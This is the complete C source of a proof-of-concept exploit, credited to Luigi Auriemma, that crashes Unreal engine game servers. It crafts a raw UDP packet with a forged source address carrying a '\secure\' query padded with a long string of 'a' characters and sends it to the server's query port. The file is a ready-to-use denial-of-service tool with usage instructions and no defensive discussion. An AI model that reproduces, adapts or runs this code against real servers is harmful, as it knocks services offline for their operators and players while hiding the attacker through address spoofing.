/*

by Luigi Auriemma

UNIX only
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netdb.h>
#include <string.h>



#define VER         "0.1"
#define IPSZ        sizeof(struct iphdr)
#define UDPSZ       sizeof(struct udphdr)
#define DATASZ      sizeof(DATA) - 1
#define PSEUDOSZ    sizeof(struct pseudohdr)
#define SIZE        (IPSZ + UDPSZ + DATASZ)
#define PSSIZE      (PSEUDOSZ + UDPSZ + DATASZ)
#define DATA        "\\secure\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"



u_short in_cksum(u_short *addr, int len);
u_int resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct pseudohdr {
        u_int32_t   saddr;
        u_int32_t   daddr;
        u_int8_t    zero;
        u_int8_t    protocol;
        u_int16_t   length;
    } *pseudo;
    u_char      buff[SIZE],
                pseudobuff[PSSIZE],
                *data;
    struct      sockaddr_in     peer;
    struct      iphdr   *ip;
    struct      udphdr  *udp;
    int         sd;
    u_int16_t   sport,
                dport;


    setbuf(stdout, NULL);

    fputs("\n"
        "Unreal engine spoofed \\secure\\ crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 5) {
        printf("\n"
            "Usage: %s <source> <source_port> <server> <query_port>\n"
            "\n", argv[0]);
        exit(1);
    }

    sport  = atoi(argv[2]);
    dport  = atoi(argv[4]);

    ip     = (struct iphdr *)buff;
    udp    = (struct udphdr *)(buff + IPSZ);
    data   = (u_char *)(buff + IPSZ + UDPSZ);
    pseudo = (struct pseudohdr *)pseudobuff;

    ip->saddr            = resolv(argv[1]);
    peer.sin_addr.s_addr = resolv(argv[3]);
    peer.sin_port        = htons(dport);
    peer.sin_family      = AF_INET;

    printf("- Source       %s:%hu\n",
        inet_ntoa(*(struct in_addr *)&(ip->saddr)), sport);
    printf("- Destination  %s:%hu\n",
        inet_ntoa(peer.sin_addr), dport);

        /* build IP header */
    ip->ihl      = 5;
    ip->version  = 4;
    ip->tos      = 0x10;
    ip->tot_len  = SIZE;
    ip->id       = 1;
    ip->frag_off = 0;
    ip->ttl      = 128;
    ip->protocol = IPPROTO_UDP;
    ip->check    = 0;
//  ip->saddr    = ;
    ip->daddr    = peer.sin_addr.s_addr;

        /* build UDP header */
    udp->source = htons(sport);
    udp->dest   = htons(dport);
    udp->check  = 0;
    udp->len    = htons(UDPSZ + DATASZ);

        /* build data */
    memcpy(data, DATA, DATASZ);

        /* pseudo header */
    pseudo->saddr    = ip->saddr;
    pseudo->daddr    = ip->daddr;
    pseudo->zero     = 0;
    pseudo->protocol = IPPROTO_UDP;
    pseudo->length   = udp->len;

    memcpy(pseudobuff + PSEUDOSZ, udp, UDPSZ + DATASZ);
    udp->check = in_cksum((u_short *)pseudobuff, PSSIZE);

    sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if(sd < 0) std_err();

    fputs("- Sending BOOM packet\n", stdout);
    if(sendto(sd, buff, SIZE, 0, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    close(sd);
    fputs("- Finished\n\n", stdout);
    return(0);
}



u_short in_cksum(u_short *addr, int len) {
    u_int  sum = 0;

    while(len > 1)  {
        sum += *addr++;
        len--;
        len--;
    }
    if(len) sum += *(u_char *)addr;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return(sum ^ 0xffff);
}



u_int resolv(char *host) {
    struct  hostent *hp;
    u_int  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) std_err();
        else host_ip = *(u_int *)(hp->h_addr);
    }
    return(host_ip);
}



void std_err(void) {
    perror("\nError");
    exit(1);
}

